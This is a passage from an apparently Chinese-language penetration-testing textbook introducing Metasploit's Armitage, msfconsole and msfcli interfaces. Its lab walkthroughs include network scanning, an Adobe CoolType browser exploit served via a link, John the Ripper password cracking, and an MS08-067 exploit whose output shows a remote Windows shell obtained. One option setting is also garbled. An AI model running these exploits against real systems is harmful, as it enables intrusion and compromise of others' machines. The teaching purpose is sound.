天天看點

6.2 Metasploit基礎

Metasploit是一款開源的安全漏洞檢測工具。它可以幫助使用者識别安全問題,驗證漏洞的緩解措施,并對某些軟體進行安全性評估,提供真正的安全風險情報。當使用者第一次接觸Metasploit滲透測試架構軟體(MSF)時,可能會被它提供如此多的接口、選項、變量和子產品所震撼,而感覺無所适從。Metasploit軟體為它的基礎功能提供了多個使用者接口,包括終端、指令行和圖形化界面等。本節将介紹Metasploit下各種接口的使用方法。

6.2.1 Metasploit的圖形管理工具Armitage

Armitage元件是Metasploit架構中一個完全互動式的圖形化使用者接口,由Raphael Mudge所開發。Armitage工具包含Metasploit控制台,通過使用其标簽特性,使用者可以看到多個Metasploit控制台或多個Meterpreter會話。

使用Armitage工具。具體操作步驟如下所示。

(1)啟動Metasploit服務。在使用Armitage工具前,必須将Metasploit服務啟動。否則,無法運作Armitage工具。因為Armitage需要連接配接到Metasploit服務,才可以啟動。在Kali桌面依次選擇“應用程式”|Kali Linux|“系統服務”|Metasploit|community/pro start指令啟動Metasploit服務,将輸出如下所示的資訊:

[ ok ] Starting PostgreSQL 9.1 database server: main.
Configuring Metasploit…
Creating metasploit database user 'msf3'…
Creating metasploit database 'msf3'…
insserv: warning: current start runlevel(s) (empty) of script `metasploit' overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit' overrides LSB defaults (0 1 6).
           

從輸出的資訊中可以看到PostgreSQL 9.1資料庫服務已啟動,并建立了資料庫使用者和資料庫。

(2)啟動Armitage工具。在Kali桌面依次選擇“應用程式”|Kali Linux|“漏洞利用工具集”|“網絡漏洞利用”|armitage指令,如圖6.3所示。或者在終端運作armitage指令啟動Armitage工具,如下所示:

root@kali:~# armitage
           
6.2 Metasploit基礎

圖6.3 啟動armitage界面

(3)啟動armitage工具後,将顯示如圖6.4所示的界面。

6.2 Metasploit基礎

圖6.4 連接配接Metasploit界面

(4)在該界面顯示了連接配接Metasploit服務的基本資訊。在該界面單擊Connect按鈕,将顯示如圖6.5所示的界面。

6.2 Metasploit基礎

圖6.5 啟動Metasploit

(5)該界面提示是否要啟動Metasploit的RPC服務。單擊“是(Y)”按鈕,将顯示如圖6.6所示的界面。

6.2 Metasploit基礎

圖6.6 連接配接Metasploit界面

(6)該界面顯示了連接配接Metasploit的一個進度。當成功連接配接到Metasploit服務的話,将顯示如圖6.7所示的界面。

6.2 Metasploit基礎

圖6.7 Armitage初始界面

(7)該界面共有三個部分,這裡把它們分别标記為A、B和C。下面分别介紹這三部分。

  • A:這部分顯示的是預配置子產品。使用者可以在子產品清單中使用空格鍵搜尋提供的子產品。
  • B:這部分顯示活躍的目标系統,使用者能執行利用漏洞攻擊。
  • C:這部分顯示多個Metasploit标簽。這樣,就可以運作多個Meterpreter指令或控制台會話,并且同時顯示。

【執行個體6-1】示範使用Armitage工具做滲透測試。具體操作步驟如下所示。

(1)啟動Armitage工具,界面如圖6.7所示。從該界面可以看到預設沒有掃描到任何主機。這裡通過掃描,找到本網絡中的所有主機。

(2)在Armitage工具的菜單欄中依次選擇Hosts|Nmap Scan|Quick Scan指令,将顯示如圖6.8所示的界面。

6.2 Metasploit基礎

圖6.8 輸入掃描範圍

(3)在該界面輸入要掃描的網絡範圍,這裡輸入的網絡範圍是192.168.41.0/24。然後單擊“确定”按鈕,将開始掃描。掃描完成後,将顯示如圖6.9所示的界面。

6.2 Metasploit基礎

圖6.9 掃描結果

(4)從該界面可以看到,彈出了一個掃描完成對話框,此時單擊“确定”按鈕即可。并且在目标系統的視窗中,顯示了三台主機。這三台主機就是掃描到的主機。從掃描完成的對話框中可以看到提示建議選擇Attacks|Find Attacks指令,将可以滲透攻擊目标系統。

(5)在菜單欄中依次選擇Attacks|Find Attacks指令,運作完後将顯示如圖6.10所示的界面。

6.2 Metasploit基礎

圖6.10 消息

(6)從該界面可以看到攻擊分析完成,并且右擊掃描到的主機将會看到有一個Attack菜單,如圖6.11所示。

6.2 Metasploit基礎

圖6.11 Attack菜單

(7)從該界面可以看到在目标主機的菜單中出現了Attack選項,在該菜單中共有五個選項。在沒有運作Find Attacks指令前,隻要Services、Scan和Host三個選項。這裡掃描到的主機螢幕都是黑色,這是因為還沒有識别出作業系統的類型。此時可以在菜單欄中依次選擇Hosts|Nmap Scan|Quick Scan(OS detect)指令,掃描作業系統類型。掃描完成後,将顯示作業系統的預設圖示。

(8)掃描作業系統。掃描完成後,将顯示如圖6.12所示的界面。

6.2 Metasploit基礎

圖6.12 掃描的作業系統

(9)從該界面可以看到掃描到的目标主機,螢幕發生了變化。此時就可以選擇目标,進行滲透攻擊。

(10)此時,可以在預配置子產品視窗選擇子產品滲透攻擊目标系統,如選擇滲透攻擊浏覽器子產品。在預配置子產品中依次選擇exploit|windows|browser|adobe_cooltype_sing子產品,輕按兩下adobe_cooltype_sing子產品,将顯示如圖6.13所示的界面。

6.2 Metasploit基礎

圖6.13 子產品配置選項

(11)該界面顯示了adobe_cooltype_sing子產品的預設配置選項資訊。這些選項的預設值,可以通過輕按兩下預設值修改。設定完成後,單擊Launch按鈕,在Armitage視窗将顯示如圖6.14所示的界面。

6.2 Metasploit基礎

圖6.14 滲透攻擊結果

(12)從該界面可以看到,使用adobe_cooltype_sing子產品滲透攻擊的過程。從最後的資訊中可以看到,滲透攻擊成功運作。以後某台主機通路http://192.168.41.235:8080/JEdB2oma7AEGV7G連結時,将會在目标主機上建立一個名為JEdB2oma7AEGV7G的PDF檔案。隻要有目标主機通路該連結,Armitage控制台會話中将會顯示通路的主機,如圖6.15所示。

6.2 Metasploit基礎

圖6.15 攻擊資訊

(13)從該界面可以看到主機192.168.41.146,通路了http://192.168.41.235:8080/JEdB2oma7AEGV7G連結。并且,可以看到在主機192.168.41.146上建立了PDF檔案。

6.2.2 控制Metasploit終端(MSFCONSOLE)

MSF終端(MSFCONSOLE)是目前Metasploit架構最為流行的使用者接口,而且也是非常靈活的。因為MSF終端是Metasploit架構中最靈活、功能最豐富及支援最好的工具之一。MSFCONSOLE主要用于管理Metasploit資料庫,管理會話、配置并啟動Metasploit子產品。本質上來說,就是為了利用漏洞,MSFCONSOLE将擷取使用者連接配接到主機的資訊,以至于使用者能啟動滲透攻擊目标系統。本小節将介紹Metasploit終端(MSFCONSOLE)。

當使用Metasploit控制台時,使用者将使用一些通用的指令,如下所示。

  • help:該指令允許使用者檢視執行指令的幫助資訊。
  • use module:該指令允許使用者加載選擇的子產品。
  • set optionname module:該指令允許使用者為子產品設定不同的選項。
  • run:該指令用來啟動一個非滲透攻擊子產品。
  • search module:該指令允許使用者搜尋一個特定的子產品。
  • exit:該指令允許使用者退出MSFCONSOLE。

MSFCONSOLE漏洞利用的具體操作步驟如下所示。

(1)在終端啟動MSFCONSOLE,執行指令如下所示:

root@kali:~# msfconsole
           

執行以上指令後,輸出資訊如下所示:

6.2 Metasploit基礎

輸出的資訊出現msf>提示符,表示登入MSFCONSOLE成功。此時就可以在該指令行運作其他任何指令。

(2)使用search指令搜尋所有有效的Linux子產品。對于子產品使用者每次想要執行一個動作,這是一個很好的主意。主要原因是Metasploit各種版本之間,子產品的路徑可能有改變。執行指令如下所示:

msf> search linux           
6.2 Metasploit基礎

輸出的資訊就是Metasploit中所有有效的子產品。輸出的資訊顯示為4列,分别表示子產品名稱、公開時間、等級及描述。以上輸出的内容較多,但是由于篇幅的原因,這裡隻列出了一少部分内容,省略的内容使用省略号(……)代替。

(3)使用John Ripper linux密碼破解子產品。執行指令如下所示:

msf > use auxiliary/analyze/jtr_linux
msf auxiliary(jtr_linux) >
           

輸出的資訊表示已加載jtr_linux子產品。

(4)檢視子產品的有效選項。執行指令如下所示:

6.2 Metasploit基礎

從輸出結果中可以看到jtr_linux子產品有5個有效的選項,如Crypt、JOHN_BASE、JOHE_PATH、Munge和Wordlist。在輸出的資訊中,對這5個選項分别有詳細的描述。

(5)現在使用者有一個選項的清單,這些選項為運作jtr_linux子產品。使用者能設定獨特的選項,使用set指令。設定JOHN_PATH選項,如下所示:

msf auxiliary(jtr_linux) > set JOHN_PATH /usr/share/metasploit- framework/data/john/ wordlists/password.lst
JOHN_PATH => /usr/share/metasploit-framework/data/john/wordlists/ password.lst
           

(6)現在運作滲透攻擊,執行指令如下所示:

msf auxiliary(jtr_linux) > exploit
           

6.2.3 控制Metasploit指令行接口(MSFCLI)

本小節将介紹Metasploit指令行接口(MSFCLI)。為了完成Metasploit的攻擊任務,需要使用一個接口。MSFCLI剛好實作這個功能。為了學習Metasploit或測試/寫一個新的滲透攻擊,MSFCLI是一個很好的接口。

MSF指令行和MSF終端為Metasploit架構通路提供了兩種截然不同的途徑,MSF終端以一種使用者友好的模式來提供互動方式,用于通路軟體所有的功能特性,而MSFCLI則主要考慮腳本處理和與其他指令行工具的互操作性。MSFCLI常用的指令如下所示。

  • msfcli:加載所有有效滲透攻擊MSFCLI的清單。
  • msfcli -h:檢視MSFCLI幫助文檔。
  • msfcli [PATH TO EXPLOIT] [options = value]:啟動滲透攻擊的文法。

MSF指令行MSFCLI的使用如下所示。

(1)啟動MSF指令行(MSFCLI)。啟動的過程需要一點時間,請耐心等待,這取決于使用者系統的速度。還要注意,随着MSFCLI負載,可利用的有效清單将顯示出來。執行指令如下所示:

root@kali:~# msfcli
[*] Please wait while we load the module tree…
           

(2)檢視MSFCLI幫助文檔。執行指令如下所示:

6.2 Metasploit基礎

以上輸出的資訊顯示了msfcli指令的幫助文檔。通過檢視這些幫助文檔,可以了解一個子產品的使用說明和使用模式清單。

(3)為了證明前面所說的幫助文檔資訊。這裡将選擇A選項,顯示子產品的進階選項。執行指令如下所示:

6.2 Metasploit基礎

以上資訊顯示了xmas子產品的進階選項。輸出資訊中對每個選項都有3部分介紹,包括名稱、目前設定及描述資訊。

(4)此外,使用者可以使用S模式列出目前子產品的一個摘要資訊。這個摘要模式是檢視所有有效選項的一個很好的方法。大部分選項是可選的。但是為了使使用者設定目标系統或端口,通常有些選項是必須的。啟動摘要模式滲透攻擊,執行指令如下所示:

6.2 Metasploit基礎

以上資訊為xmas子產品的摘要資訊。這些資訊包括xmas子產品的名稱、位置、許可證、級别、提供商、基本選項及描述等。

(5)為顯示滲透攻擊有效的選項清單,可以使用O模式。該模式是用來配置滲透攻擊子產品的,每個滲透攻擊子產品有一套不同的設定選項,也可能沒有。所有必須的選項必須是滲透攻擊允許執行之前設定。從下面的輸出資訊中,可以看到許多必須的選項預設已設定。如果是這樣,就不需要更新這些選項值了,除非使用者想要修改它。執行指令如下所示:

6.2 Metasploit基礎

輸出的資訊顯示了xmas子產品需要的配置選項,如BATCHSIZE、PORTS、RHOSTS、SNAPLEN、THREADS和TIMEOUT。

(6)使用者可以使用E模式運作滲透攻擊測試。執行指令如下所示:

root@kali:/usr/bin# msfcli auxiliary/scanner/portscan/xmas E
           

【執行個體6-2】使用MSFCLI示範滲透攻擊,這裡以ms08_067_netapi子產品為例。具體操作步驟如下所示。

(1)檢視ms08_067_netapi子產品的配置參數選項。執行指令如下所示:

6.2 Metasploit基礎

從輸出的資訊中可以看到該子產品有三個配置選項,分别是RHOST、RPORT和SMBPIPE。

(2)檢視ms08_067_netapi子產品中可用的攻擊載荷。執行指令如下所示:

6.2 Metasploit基礎

輸出的資訊顯示了ms08_067_netapi子產品可用的攻擊載荷。該子產品可以攻擊的載荷很多,由于章節的原因,中間部分使用省略号(……)取代了。

(3)這裡選擇使用shell_bind/tcp攻擊載荷進行滲透測試。如下所示:

root@kali:~# msfcli windows/smb/ms08_067_netapi RHOST=192.168.41.146 PAYLOAD= windows/shell/bind_tcp E
[*] Initializing modules…
RHOST => 192.168.41.146
PAYLOAD => windows/shell/bind_tcp
[*] Started bind handler
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP - Service Pack 0 / 1 - lang:Chinese - Traditional
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Attempting to trigger the vulnerability…
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.41.146
[*] Command shell session 1 opened (192.168.41.156:60335 -> 192.168.41.146:4444) at 2014-06-06 10:12:06 +0800
Microsoft Windows XP [版本 5.1.2600]
(C) 版權所有 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
           

從輸出的資訊中,可以看到成功的從遠端系統上拿到了一個Windows指令行的Shell。這表示滲透攻擊成功。